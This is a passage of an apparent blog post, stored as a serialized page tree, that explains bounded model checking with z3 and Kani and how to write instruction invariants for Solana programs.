100",{"type":22,"tag":101,"props":23128,"children":23129},{"style":120},[23130],{"type":27,"value":1463},{"type":22,"tag":101,"props":23132,"children":23133},{"class":103,"line":398},[23134,23139,23143,23147,23151,23155],{"type":22,"tag":101,"props":23135,"children":23136},{"style":120},[23137],{"type":27,"value":23138}," z ",{"type":22,"tag":101,"props":23140,"children":23141},{"style":166},[23142],{"type":27,"value":1511},{"type":22,"tag":101,"props":23144,"children":23145},{"style":120},[23146],{"type":27,"value":8559},{"type":22,"tag":101,"props":23148,"children":23149},{"style":166},[23150],{"type":27,"value":8615},{"type":22,"tag":101,"props":23152,"children":23153},{"style":1544},[23154],{"type":27,"value":11944},{"type":22,"tag":101,"props":23156,"children":23157},{"style":120},[23158],{"type":27,"value":1520},{"type":22,"tag":101,"props":23160,"children":23161},{"class":103,"line":428},[23162,23166,23170],{"type":22,"tag":101,"props":23163,"children":23164},{"style":120},[23165],{"type":27,"value":19777},{"type":22,"tag":101,"props":23167,"children":23168},{"style":3595},[23169],{"type":27,"value":7354},{"type":22,"tag":101,"props":23171,"children":23172},{"style":120},[23173],{"type":27,"value":154},{"type":22,"tag":101,"props":23175,"children":23176},{"class":103,"line":997},[23177,23181,23185,23189,23193,23197],{"type":22,"tag":101,"props":23178,"children":23179},{"style":120},[23180],{"type":27,"value":23138},{"type":22,"tag":101,"props":23182,"children":23183},{"style":166},[23184],{"type":27,"value":1511},{"type":22,"tag":101,"props":23186,"children":23187},{"style":120},[23188],{"type":27,"value":8559},{"type":22,"tag":101,"props":23190,"children":23191},{"style":166},[23192],{"type":27,"value":8426},{"type":22,"tag":101,"props":23194,"children":23195},{"style":1544},[23196],{"type":27,"value":3648},{"type":22,"tag":101,"props":23198,"children":23199},{"style":120},[23200],{"type":27,"value":1520},{"type":22,"tag":101,"props":23202,"children":23203},{"class":103,"line":1032},[23204],{"type":22,"tag":101,"props":23205,"children":23206},{"style":120},[23207],{"type":27,"value":1734},{"type":22,"tag":101,"props":23209,"children":23210},{"class":103,"line":1063},[23211],{"type":22,"tag":101,"props":23212,"children":23213},{"emptyLinePlaceholder":15},[23214],{"type":27,"value":1581},{"type":22,"tag":101,"props":23216,"children":23217},{"class":103,"line":1071},[23218],{"type":22,"tag":101,"props":23219,"children":23220},{"style":2215},[23221],{"type":27,"value":23222}," // Property P:\n",{"type":22,"tag":101,"props":23224,"children":23225},{"class":103,"line":1110},[23226,23231,23236,23240,23245],{"type":22,"tag":101,"props":23227,"children":23228},{"style":926},[23229],{"type":27,"value":23230}," assert",{"type":22,"tag":101,"props":23232,"children":23233},{"style":120},[23234],{"type":27,"value":23235},"(z ",{"type":22,"tag":101,"props":23237,"children":23238},{"style":166},[23239],{"type":27,"value":19686},{"type":22,"tag":101,"props":23241,"children":23242},{"style":1544},[23243],{"type":27,"value":23244}," 105",{"type":22,"tag":101,"props":23246,"children":23247},{"style":120},[23248],{"type":27,"value":994},{"type":22,"tag":101,"props":23250,"children":23251},{"class":103,"line":1118},[23252],{"type":22,"tag":101,"props":23253,"children":23254},{"style":120},[23255],{"type":27,"value":188},{"type":22,"tag":23,"props":23257,"children":23258},{},[23259,23261,23267,23269,23275],{"type":27,"value":23260},"This function takes an input ",{"type":22,"tag":30,"props":23262,"children":23264},{"className":23263},[],[23265],{"type":27,"value":23266},"x",{"type":27,"value":23268}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":22,"tag":30,"props":23270,"children":23272},{"className":23271},[],[23273],{"type":27,"value":23274},"z != 105",{"type":27,"value":231},{"type":22,"tag":23,"props":23277,"children":23278},{},[23279],{"type":27,"value":23280},"With BMC, we could trace this program and derive the following constraints:",{"type":22,"tag":23,"props":23282,"children":23283},{},[23284],{"type":27,"value":23285},"Positive branch:",{"type":22,"tag":91,"props":23287,"children":23289},{"code":23288,"language":7187,"meta":7,"className":20513,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[23290],{"type":22,"tag":30,"props":23291,"children":23292},{"__ignoreMap":7},[23293,23318,23334],{"type":22,"tag":101,"props":23294,"children":23295},{"class":103,"line":104},[23296,23301,23305,23309,23313],{"type":22,"tag":101,"props":23297,"children":23298},{"style":120},[23299],{"type":27,"value":23300},"y ",{"type":22,"tag":101,"props":23302,"children":23303},{"style":166},[23304],{"type":27,"value":4340},{"type":22,"tag":101,"props":23306,"children":23307},{"style":120},[23308],{"type":27,"value":23080},{"type":22,"tag":101,"props":23310,"children":23311},{"style":166},[23312],{"type":27,"value":8426},{"type":22,"tag":101,"props":23314,"children":23315},{"style":1544},[23316],{"type":27,"value":23317}," 3\n",{"type":22,"tag":101,"props":23319,"children":23320},{"class":103,"line":157},[23321,23325,23329],{"type":22,"tag":101,"props":23322,"children":23323},{"style":120},[23324],{"type":27,"value":23300},{"type":22,"tag":101,"props":23326,"children":23327},{"style":166},[23328],{"type":27,"value":14467},{"type":22,"tag":101,"props":23330,"children":23331},{"style":1544},[23332],{"type":27,"value":23333}," 100\n",{"type":22,"tag":101,"props":23335,"children":23336},{"class":103,"line":182},[23337,23342,23346,23350,23354],{"type":22,"tag":101,"props":23338,"children":23339},{"style":120},[23340],{"type":27,"value":23341},"z ",{"type":22,"tag":101,"props":23343,"children":23344},{"style":166},[23345],{"type":27,"value":4340},{"type":22,"tag":101,"props":23347,"children":23348},{"style":120},[23349],{"type":27,"value":8559},{"type":22,"tag":101,"props":23351,"children":23352},{"style":166},[23353],{"type":27,"value":8615},{"type":22,"tag":101,"props":23355,"children":23356},{"style":1544},[23357],{"type":27,"value":23358}," 2\n",{"type":22,"tag":23,"props":23360,"children":23361},{},[23362],{"type":27,"value":23363},"Negative branch:",{"type":22,"tag":91,"props":23365,"children":23367},{"code":23366,"language":7187,"meta":7,"className":20513,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[23368],{"type":22,"tag":30,"props":23369,"children":23370},{"__ignoreMap":7},[23371,23394,23410],{"type":22,"tag":101,"props":23372,"children":23373},{"class":103,"line":104},[23374,23378,23382,23386,23390],{"type":22,"tag":101,"props":23375,"children":23376},{"style":120},[23377],{"type":27,"value":23300},{"type":22,"tag":101,"props":23379,"children":23380},{"style":166},[23381],{"type":27,"value":4340},{"type":22,"tag":101,"props":23383,"children":23384},{"style":120},[23385],{"type":27,"value":23080},{"type":22,"tag":101,"props":23387,"children":23388},{"style":166},[23389],{"type":27,"value":8426},{"type":22,"tag":101,"props":23391,"children":23392},{"style":1544},[23393],{"type":27,"value":23317},{"type":22,"tag":101,"props":23395,"children":23396},{"class":103,"line":157},[23397,23401,23406],{"type":22,"tag":101,"props":23398,"children":23399},{"style":120},[23400],{"type":27,"value":23300},{"type":22,"tag":101,"props":23402,"children":23403},{"style":166},[23404],{"type":27,"value":23405},"\u003C=",{"type":22,"tag":101,"props":23407,"children":23408},{"style":1544},[23409],{"type":27,"value":23333},{"type":22,"tag":101,"props":23411,"children":23412},{"class":103,"line":182},[23413,23417,23421,23425,23429],{"type":22,"tag":101,"props":23414,"children":23415},{"style":120},[23416],{"type":27,"value":23341},{"type":22,"tag":101,"props":23418,"children":23419},{"style":166},[23420],{"type":27,"value":4340},{"type":22,"tag":101,"props":23422,"children":23423},{"style":120},[23424],{"type":27,"value":8559},{"type":22,"tag":101,"props":23426,"children":23427},{"style":166},[23428],{"type":27,"value":8426},{"type":22,"tag":101,"props":23430,"children":23431},{"style":1544},[23432],{"type":27,"value":23433}," 1\n",{"type":22,"tag":23,"props":23435,"children":23436},{},[23437,23439,23446],{"type":27,"value":23438},"Using the ",{"type":22,"tag":80,"props":23440,"children":23443},{"href":23441,"rel":23442},"https://github.com/Z3Prover/z3",[84],[23444],{"type":27,"value":23445},"z3",{"type":27,"value":23447}," SMT solver, we could check both of these cases like so:",{"type":22,"tag":91,"props":23449,"children":23453},{"code":23450,"language":23451,"meta":7,"className":23452,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[23454],{"type":22,"tag":30,"props":23455,"children":23456},{"__ignoreMap":7},[23457,23480,23487,23513,23537,23561,23568,23576,23593,23621,23640,23668,23675,23683,23704,23722,23729,23737,23752,23779,23798,23825,23832,23839,23858],{"type":22,"tag":101,"props":23458,"children":23459},{"class":103,"line":104},[23460,23465,23470,23475],{"type":22,"tag":101,"props":23461,"children":23462},{"style":3595},[23463],{"type":27,"value":23464},"from",{"type":22,"tag":101,"props":23466,"children":23467},{"style":120},[23468],{"type":27,"value":23469}," z3 ",{"type":22,"tag":101,"props":23471,"children":23472},{"style":3595},[23473],{"type":27,"value":23474},"import",{"type":22,"tag":101,"props":23476,"children":23477},{"style":166},[23478],{"type":27,"value":23479}," *\n",{"type":22,"tag":101,"props":23481,"children":23482},{"class":103,"line":157},[23483],{"type":22,"tag":101,"props":23484,"children":23485},{"emptyLinePlaceholder":15},[23486],{"type":27,"value":1581},{"type":22,"tag":101,"props":23488,"children":23489},{"class":103,"line":182},[23490,23495,23499,23504,23509],{"type":22,"tag":101,"props":23491,"children":23492},{"style":120},[23493],{"type":27,"value":23494},"x ",{"type":22,"tag":101,"props":23496,"children":23497},{"style":166},[23498],{"type":27,"value":1511},{"type":22,"tag":101,"props":23500,"children":23501},{"style":120},[23502],{"type":27,"value":23503}," Int(",{"type":22,"tag":101,"props":23505,"children":23506},{"style":6476},[23507],{"type":27,"value":23508},"'x'",{"type":22,"tag":101,"props":23510,"children":23511},{"style":120},[23512],{"type":27,"value":2510},{"type":22,"tag":101,"props":23514,"children":23515},{"class":103,"line":367},[23516,23520,23524,23528,23533],{"type":22,"tag":101,"props":23517,"children":23518},{"style":120},[23519],{"type":27,"value":23300},{"type":22,"tag":101,"props":23521,"children":23522},{"style":166},[23523],{"type":27,"value":1511},{"type":22,"tag":101,"props":23525,"children":23526},{"style":120},[23527],{"type":27,"value":23503},{"type":22,"tag":101,"props":23529,"children":23530},{"style":6476},[23531],{"type":27,"value":23532},"'y'",{"type":22,"tag":101,"props":23534,"children":23535},{"style":120},[23536],{"type":27,"value":2510},{"type":22,"tag":101,"props":23538,"children":23539},{"class":103,"line":398},[23540,23544,23548,23552,23557],{"type":22,"tag":101,"props":23541,"children":23542},{"style":120},[23543],{"type":27,"value":23341},{"type":22,"tag":101,"props":23545,"children":23546},{"style":166},[23547],{"type":27,"value":1511},{"type":22,"tag":101,"props":23549,"children":23550},{"style":120},[23551],{"type":27,"value":23503},{"type":22,"tag":101,"props":23553,"children":23554},{"style":6476},[23555],{"type":27,"value":23556},"'z'",{"type":22,"tag":101,"props":23558,"children":23559},{"style":120},[23560],{"type":27,"value":2510},{"type":22,"tag":101,"props":23562,"children":23563},{"class":103,"line":428},[23564],{"type":22,"tag":101,"props":23565,"children":23566},{"emptyLinePlaceholder":15},[23567],{"type":27,"value":1581},{"type":22,"tag":101,"props":23569,"children":23570},{"class":103,"line":997},[23571],{"type":22,"tag":101,"props":23572,"children":23573},{"style":2215},[23574],{"type":27,"value":23575},"# Positive branch:\n",{"type":22,"tag":101,"props":23577,"children":23578},{"class":103,"line":1032},[23579,23584,23588],{"type":22,"tag":101,"props":23580,"children":23581},{"style":120},[23582],{"type":27,"value":23583},"s ",{"type":22,"tag":101,"props":23585,"children":23586},{"style":166},[23587],{"type":27,"value":1511},{"type":22,"tag":101,"props":23589,"children":23590},{"style":120},[23591],{"type":27,"value":23592}," Solver()\n",{"type":22,"tag":101,"props":23594,"children":23595},{"class":103,"line":1063},[23596,23601,23605,23609,23613,23617],{"type":22,"tag":101,"props":23597,"children":23598},{"style":120},[23599],{"type":27,"value":23600},"s.add(y ",{"type":22,"tag":101,"props":23602,"children":23603},{"style":166},[23604],{"type":27,"value":4340},{"type":22,"tag":101,"props":23606,"children":23607},{"style":120},[23608],{"type":27,"value":23080},{"type":22,"tag":101,"props":23610,"children":23611},{"style":166},[23612],{"type":27,"value":8426},{"type":22,"tag":101,"props":23614,"children":23615},{"style":1544},[23616],{"type":27,"value":23089},{"type":22,"tag":101,"props":23618,"children":23619},{"style":120},[23620],{"type":27,"value":2510},{"type":22,"tag":101,"props":23622,"children":23623},{"class":103,"line":1071},[23624,23628,23632,23636],{"type":22,"tag":101,"props":23625,"children":23626},{"style":120},[23627],{"type":27,"value":23600},{"type":22,"tag":101,"props":23629,"children":23630},{"style":166},[23631],{"type":27,"value":14467},{"type":22,"tag":101,"props":23633,"children":23634},{"style":1544},[23635],{"type":27,"value":23126},{"type":22,"tag":101,"props":23637,"children":23638},{"style":120},[23639],{"type":27,"value":2510},{"type":22,"tag":101,"props":23641,"children":23642},{"class":103,"line":1110},[23643,23648,23652,23656,23660,23664],{"type":22,"tag":101,"props":23644,"children":23645},{"style":120},[23646],{"type":27,"value":23647},"s.add(z ",{"type":22,"tag":101,"props":23649,"children":23650},{"style":166},[23651],{"type":27,"value":4340},{"type":22,"tag":101,"props":23653,"children":23654},{"style":120},[23655],{"type":27,"value":8559},{"type":22,"tag":101,"props":23657,"children":23658},{"style":166},[23659],{"type":27,"value":8615},{"type":22,"tag":101,"props":23661,"children":23662},{"style":1544},[23663],{"type":27,"value":11944},{"type":22,"tag":101,"props":23665,"children":23666},{"style":120},[23667],{"type":27,"value":2510},{"type":22,"tag":101,"props":23669,"children":23670},{"class":103,"line":1118},[23671],{"type":22,"tag":101,"props":23672,"children":23673},{"emptyLinePlaceholder":15},[23674],{"type":27,"value":1581},{"type":22,"tag":101,"props":23676,"children":23677},{"class":103,"line":1158},[23678],{"type":22,"tag":101,"props":23679,"children":23680},{"style":2215},[23681],{"type":27,"value":23682},"# check if we can violate the correctness property\n",{"type":22,"tag":101,"props":23684,"children":23685},{"class":103,"line":1166},[23686,23691,23695,23699],{"type":22,"tag":101,"props":23687,"children":23688},{"style":120},[23689],{"type":27,"value":23690},"s.add(Not(z ",{"type":22,"tag":101,"props":23692,"children":23693},{"style":166},[23694],{"type":27,"value":19686},{"type":22,"tag":101,"props":23696,"children":23697},{"style":1544},[23698],{"type":27,"value":23244},{"type":22,"tag":101,"props":23700,"children":23701},{"style":120},[23702],{"type":27,"value":23703},"))\n",{"type":22,"tag":101,"props":23705,"children":23706},{"class":103,"line":1215},[23707,23712,23717],{"type":22,"tag":101,"props":23708,"children":23709},{"style":926},[23710],{"type":27,"value":23711},"print",{"type":22,"tag":101,"props":23713,"children":23714},{"style":120},[23715],{"type":27,"value":23716},"(s.check()) ",{"type":22,"tag":101,"props":23718,"children":23719},{"style":2215},[23720],{"type":27,"value":23721},"# \"unsat\"\n",{"type":22,"tag":101,"props":23723,"children":23724},{"class":103,"line":2425},[23725],{"type":22,"tag":101,"props":23726,"children":23727},{"emptyLinePlaceholder":15},[23728],{"type":27,"value":1581},{"type":22,"tag":101,"props":23730,"children":23731},{"class":103,"line":5417},[23732],{"type":22,"tag":101,"props":23733,"children":23734},{"style":2215},[23735],{"type":27,"value":23736},"# Negative branch:\n",{"type":22,"tag":101,"props":23738,"children":23739},{"class":103,"line":7714},[23740,23744,23748],{"type":22,"tag":101,"props":23741,"children":23742},{"style":120},[23743],{"type":27,"value":23583},{"type":22,"tag":101,"props":23745,"children":23746},{"style":166},[23747],{"type":27,"value":1511},{"type":22,"tag":101,"props":23749,"children":23750},{"style":120},[23751],{"type":27,"value":23592},{"type":22,"tag":101,"props":23753,"children":23754},{"class":103,"line":7723},[23755,23759,23763,23767,23771,23775],{"type":22,"tag":101,"props":23756,"children":23757},{"style":120},[23758],{"type":27,"value":23600},{"type":22,"tag":101,"props":23760,"children":23761},{"style":166},[23762],{"type":27,"value":4340},{"type":22,"tag":101,"props":23764,"children":23765},{"style":120},[23766],{"type":27,"value":23080},{"type":22,"tag":101,"props":23768,"children":23769},{"style":166},[23770],{"type":27,"value":8426},{"type":22,"tag":101,"props":23772,"children":23773},{"style":1544},[23774],{"type":27,"value":23089},{"type":22,"tag":101,"props":23776,"children":23777},{"style":120},[23778],{"type":27,"value":2510},{"type":22,"tag":101,"props":23780,"children":23781},{"class":103,"line":7791},[23782,23786,23790,23794],{"type":22,"tag":101,"props":23783,"children":23784},{"style":120},[23785],{"type":27,"value":23600},{"type":22,"tag":101,"props":23787,"children":23788},{"style":166},[23789],{"type":27,"value":23405},{"type":22,"tag":101,"props":23791,"children":23792},{"style":1544},[23793],{"type":27,"value":23126},{"type":22,"tag":101,"props":23795,"children":23796},{"style":120},[23797],{"type":27,"value":2510},{"type":22,"tag":101,"props":23799,"children":23800},{"class":103,"line":7799},[23801,23805,23809,23813,23817,23821],{"type":22,"tag":101,"props":23802,"children":23803},{"style":120},[23804],{"type":27,"value":23647},{"type":22,"tag":101,"props":23806,"children":23807},{"style":166},[23808],{"type":27,"value":4340},{"type":22,"tag":101,"props":23810,"children":23811},{"style":120},[23812],{"type":27,"value":8559},{"type":22,"tag":101,"props":23814,"children":23815},{"style":166},[23816],{"type":27,"value":8426},{"type":22,"tag":101,"props":23818,"children":23819},{"style":1544},[23820],{"type":27,"value":3648},{"type":22,"tag":101,"props":23822,"children":23823},{"style":120},[23824],{"type":27,"value":2510},{"type":22,"tag":101,"props":23826,"children":23827},{"class":103,"line":7829},[23828],{"type":22,"tag":101,"props":23829,"children":23830},{"emptyLinePlaceholder":15},[23831],{"type":27,"value":1581},{"type":22,"tag":101,"props":23833,"children":23834},{"class":103,"line":7837},[23835],{"type":22,"tag":101,"props":23836,"children":23837},{"style":2215},[23838],{"type":27,"value":23682},{"type":22,"tag":101,"props":23840,"children":23841},{"class":103,"line":7868},[23842,23846,23850,23854],{"type":22,"tag":101,"props":23843,"children":23844},{"style":120},[23845],{"type":27,"value":23690},{"type":22,"tag":101,"props":23847,"children":23848},{"style":166},[23849],{"type":27,"value":19686},{"type":22,"tag":101,"props":23851,"children":23852},{"style":1544},[23853],{"type":27,"value":23244},{"type":22,"tag":101,"props":23855,"children":23856},{"style":120},[23857],{"type":27,"value":23703},{"type":22,"tag":101,"props":23859,"children":23860},{"class":103,"line":7876},[23861,23865,23869],{"type":22,"tag":101,"props":23862,"children":23863},{"style":926},[23864],{"type":27,"value":23711},{"type":22,"tag":101,"props":23866,"children":23867},{"style":120},[23868],{"type":27,"value":23716},{"type":22,"tag":101,"props":23870,"children":23871},{"style":2215},[23872],{"type":27,"value":23721},{"type":22,"tag":23,"props":23874,"children":23875},{},[23876,23878,23884,23886,23891],{"type":27,"value":23877},"Both of these cases return ",{"type":22,"tag":30,"props":23879,"children":23881},{"className":23880},[],[23882],{"type":27,"value":23883},"unsat",{"type":27,"value":23885}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":22,"tag":6961,"props":23887,"children":23888},{},[23889],{"type":27,"value":23890},"correct",{"type":27,"value":23892}," according to this property.",{"type":22,"tag":1760,"props":23894,"children":23896},{"id":23895},"loop-bounds-path-explosion",[23897],{"type":27,"value":23898},"Loop bounds & path explosion",{"type":22,"tag":23,"props":23900,"children":23901},{},[23902,23904,23909,23911,23916],{"type":27,"value":23903},"As you may have noticed, BMC requires us to take ",{"type":22,"tag":6961,"props":23905,"children":23906},{},[23907],{"type":27,"value":23908},"every",{"type":27,"value":23910}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":22,"tag":6961,"props":23912,"children":23913},{},[23914],{"type":27,"value":23915},"infinite",{"type":27,"value":23917}," number of paths because the loop branches backward. This might take a while...",{"type":22,"tag":23,"props":23919,"children":23920},{},[23921],{"type":27,"value":23922},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":22,"tag":23,"props":23924,"children":23925},{},[23926],{"type":27,"value":23927},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":22,"tag":23,"props":23929,"children":23930},{},[23931],{"type":27,"value":23932},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":22,"tag":1760,"props":23934,"children":23936},{"id":23935},"kani-model-checker",[23937],{"type":27,"value":23938},"Kani Model Checker",{"type":22,"tag":23,"props":23940,"children":23941},{},[23942,23944,23949],{"type":27,"value":23943},"For our research with formally verifying Solana programs, we are using the ",{"type":22,"tag":80,"props":23945,"children":23947},{"href":22837,"rel":23946},[84],[23948],{"type":27,"value":22841},{"type":27,"value":23950},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":22,"tag":23,"props":23952,"children":23953},{},[23954,23956,23961,23963,23969,23970,23976,23978,23984],{"type":27,"value":23955},"Kani allows you to write ",{"type":22,"tag":6961,"props":23957,"children":23958},{},[23959],{"type":27,"value":23960},"proof harnesses",{"type":27,"value":23962}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":22,"tag":30,"props":23964,"children":23966},{"className":23965},[],[23967],{"type":27,"value":23968},"assume",{"type":27,"value":209},{"type":22,"tag":30,"props":23971,"children":23973},{"className":23972},[],[23974],{"type":27,"value":23975},"assert",{"type":27,"value":23977}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":22,"tag":30,"props":23979,"children":23981},{"className":23980},[],[23982],{"type":27,"value":23983},"cargo kani",{"type":27,"value":23985}," tool (which compiles your proof harness and runs BMC).",{"type":22,"tag":53,"props":23987,"children":23989},{"id":23988},"specification-how-can-we-describe-what-we-want-our-program-to-do",[23990,23992,23996],{"type":27,"value":23991},"Specification: How can we describe what we ",{"type":22,"tag":6961,"props":23993,"children":23994},{},[23995],{"type":27,"value":22911},{"type":27,"value":22913},{"type":22,"tag":23,"props":23998,"children":23999},{},[24000],{"type":22,"tag":6961,"props":24001,"children":24002},{},[24003],{"type":22,"tag":9370,"props":24004,"children":24005},{},[24006],{"type":27,"value":24007},"And what even do we want it to do?",{"type":22,"tag":23,"props":24009,"children":24010},{},[24011,24013,24018],{"type":27,"value":24012},"A fundamental challenge with any formal verification framework is ",{"type":22,"tag":6961,"props":24014,"children":24015},{},[24016],{"type":27,"value":24017},"specifying",{"type":27,"value":24019}," what the \"correct\" behavior should be.",{"type":22,"tag":23,"props":24021,"children":24022},{},[24023],{"type":27,"value":24024},"In natural language, we can describe a few good properties for example Solana programs:",{"type":22,"tag":6839,"props":24026,"children":24027},{},[24028,24040,24052],{"type":22,"tag":6832,"props":24029,"children":24030},{},[24031,24033,24038],{"type":27,"value":24032},"\"It should not be possible to ",{"type":22,"tag":9370,"props":24034,"children":24035},{},[24036],{"type":27,"value":24037},"steal money",{"type":27,"value":24039}," via a swap program\"",{"type":22,"tag":6832,"props":24041,"children":24042},{},[24043,24045,24050],{"type":27,"value":24044},"\"A multisig should never get into a state where you ",{"type":22,"tag":9370,"props":24046,"children":24047},{},[24048],{"type":27,"value":24049},"can't sign anything",{"type":27,"value":24051},"\"",{"type":22,"tag":6832,"props":24053,"children":24054},{},[24055],{"type":27,"value":24056},"\"User funds in a staking protocol \"",{"type":22,"tag":23,"props":24058,"children":24059},{},[24060,24062,24072,24074,24079],{"type":27,"value":24061},"These are types of properties you can tell your ",{"type":22,"tag":80,"props":24063,"children":24066},{"href":24064,"rel":24065},"https://osec.io/",[84],[24067],{"type":22,"tag":6961,"props":24068,"children":24069},{},[24070],{"type":27,"value":24071},"human auditors",{"type":27,"value":24073}," but these English phrases are not particularly useful for ",{"type":22,"tag":6961,"props":24075,"children":24076},{},[24077],{"type":27,"value":24078},"automated verification techniques",{"type":27,"value":24080}," (at least until our AI overlords surpass human intelligence).",{"type":22,"tag":23,"props":24082,"children":24083},{},[24084,24086,24091,24093,24098],{"type":27,"value":24085},"Instead, we need to be able to specify ",{"type":22,"tag":6961,"props":24087,"children":24088},{},[24089],{"type":27,"value":24090},"in code",{"type":27,"value":24092}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":22,"tag":30,"props":24094,"children":24096},{"className":24095},[],[24097],{"type":27,"value":23975},{"type":27,"value":24099}," statement.",{"type":22,"tag":1760,"props":24101,"children":24103},{"id":24102},"solana-invariants",[24104],{"type":27,"value":24105},"Solana Invariants",{"type":22,"tag":23,"props":24107,"children":24108},{},[24109,24111,24116,24117,24122],{"type":27,"value":24110},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":22,"tag":9370,"props":24112,"children":24113},{},[24114],{"type":27,"value":24115},"instruction invariants",{"type":27,"value":209},{"type":22,"tag":9370,"props":24118,"children":24119},{},[24120],{"type":27,"value":24121},"account invariants",{"type":27,"value":231},{"type":22,"tag":22883,"props":24124,"children":24126},{"id":24125},"instruction-invariant",[24127],{"type":27,"value":24128},"Instruction Invariant",{"type":22,"tag":23,"props":24130,"children":24131},{},[24132,24134,24139,24141,24147,24148,24154],{"type":27,"value":24133},"An ",{"type":22,"tag":9370,"props":24135,"children":24136},{},[24137],{"type":27,"value":24138},"instruction invariant",{"type":27,"value":24140}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":22,"tag":30,"props":24142,"children":24144},{"className":24143},[],[24145],{"type":27,"value":24146},"succeeds_if",{"type":27,"value":17136},{"type":22,"tag":30,"props":24149,"children":24151},{"className":24150},[],[24152],{"type":27,"value":24153},"errors_if",{"type":27,"value":24155}," macro annotations on the instruction handler.",{"type":22,"tag":23,"props":24157,"children":24158},{},[24159],{"type":27,"value":24160},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":22,"tag":23,"props":24162,"children":24163},{},[24164,24166,24172,24174,24179],{"type":27,"value":24165},"For example, say we have a ",{"type":22,"tag":30,"props":24167,"children":24169},{"className":24168},[],[24170],{"type":27,"value":24171},"Withdraw",{"type":27,"value":24173}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":22,"tag":6961,"props":24175,"children":24176},{},[24177],{"type":27,"value":24178},"more",{"type":27,"value":24180}," tokens than their current balance.",{"type":22,"tag":23,"props":24182,"children":24183},{},[24184,24186,24191],{"type":27,"value":24185},"Using our tool, you could specify the following ",{"type":22,"tag":30,"props":24187,"children":24189},{"className":24188},[],[24190],{"type":27,"value":24153},{"type":27,"value":24192}," property on your instruction handler:",{"type":22,"tag":91,"props":24194,"children":24196},{"code":24195,"language":95,"meta":7,"className":93,"style":7},"#[errors_if(\n ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n ...\n}\n",[24197],{"type":22,"tag":30,"props":24198,"children":24199},{"__ignoreMap":7},[24200,24208,24243,24251,24322,24330],{"type":22,"tag":101,"props":24201,"children":24202},{"class":103,"line":104},[24203],{"type":22,"tag":101,"props":24204,"children":24205},{"style":120},[24206],{"type":27,"value":24207},"#[errors_if(\n",{"type":22,"tag":101,"props":24209,"children":24210},{"class":103,"line":157},[24211,24216,24220,24225,24229,24234,24238],{"type":22,"tag":101,"props":24212,"children":24213},{"style":120},[24214],{"type":27,"value":24215}," ctx",{"type":22,"tag":101,"props":24217,"children":24218},{"style":166},[24219],{"type":27,"value":231},{"type":22,"tag":101,"props":24221,"children":24222},{"style":120},[24223],{"type":27,"value":24224},"user",{"type":22,"tag":101,"props":24226,"children":24227},{"style":166},[24228],{"type":27,"value":231},{"type":22,"tag":101,"props":24230,"children":24231},{"style":120},[24232],{"type":27,"value":24233},"balance ",{"type":22,"tag":101,"props":24235,"children":24236},{"style":166},[24237],{"type":27,"value":123},{"type":22,"tag":101,"props":24239,"children":24240},{"style":120},[24241],{"type":27,"value":24242}," amount\n",{"type":22,"tag":101,"props":24244,"children":24245},{"class":103,"line":182},[24246],{"type":22,"tag":101,"props":24247,"children":24248},{"style":120},[24249],{"type":27,"value":24250},")]\n",{"type":22,"tag":101,"props":24252,"children":24253},{"class":103,"line":367},[24254,24259,24263,24267,24272,24276,24281,24285,24289,24293,24297,24301,24305,24309,24313,24317],{"type":22,"tag":101,"props":24255,"children":24256},{"style":108},[24257],{"type":27,"value":24258},"fn",{"type":22,"tag":101,"props":24260,"children":24261},{"style":926},[24262],{"type":27,"value":5736},{"type":22,"tag":101,"props":24264,"children":24265},{"style":120},[24266],{"type":27,"value":980},{"type":22,"tag":101,"props":24268,"children":24269},{"style":126},[24270],{"type":27,"value":24271},"ctx",{"type":22,"tag":101,"props":24273,"children":24274},{"style":166},[24275],{"type":27,"value":169},{"type":22,"tag":101,"props":24277,"children":24278},{"style":114},[24279],{"type":27,"value":24280}," 